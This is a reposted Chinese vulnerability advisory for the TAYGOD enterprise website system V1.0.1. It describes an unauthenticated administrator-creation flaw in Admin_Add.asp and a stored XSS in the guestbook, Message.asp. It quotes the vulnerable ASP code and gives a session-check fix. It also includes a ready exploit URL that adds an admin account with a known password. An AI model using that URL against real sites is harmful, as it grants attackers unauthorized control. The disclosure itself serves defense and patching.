影响版本:TAYGOD免费企业建站系统V1.0.1

源码下载地址:http://www.mycodes.net/25/5242.htm

①无验证添加管理员

漏洞文件:Admin_Add.asp

漏洞代码:

<!--#include file="../../config/conn.asp"-->
<!--#include file="md5.asp"-->
<%
if request.QueryString("action")="save" then
uid=replace(trim(Request("uid")),"'","")
realname=replace(trim(Request("realname")),"'","")
pwd1=replace(trim(Request("pwd1")),"'","")
pwd2=replace(trim(Request("pwd2")),"'","")
password=md5(pwd1)

原因:未进行验证直接写入数据

利用方案:构造URL

http://localhost/source/admin/Admin_Add.asp?action=save&uid=test&realname=test&pwd1=123456&pwd2=123456

这样就能添加进去一个帐号为test,密码为123456的管理员用户

修补方案:加入判断代码

if session("admin")="" then
response.Write "<script language='javascript'>alert('网络超时或您还没有登陆!');window.location.href='login.asp';</script>"
response.End
end if

②留言本XSS漏洞

漏洞文件:Message.asp

漏洞代码:

if request.QueryString("action")="save" then
username=trim(request("username"))
email=trim(request("email"))
tel=trim(request("tel"))
zhiwu=trim(request("zhiwu"))
city=trim(request("city"))
qq=trim(request("qq"))
add=trim(request("add"))
title=trim(request("title"))
content=trim(request("content"))
messageip=Request.ServerVariables("REMOTE_ADDR")
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from TAY_message",conn,1,3

原因:未过滤,后台照样能够执行

转自:http://www.90sec.org/viewthread.php?tid=3091&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000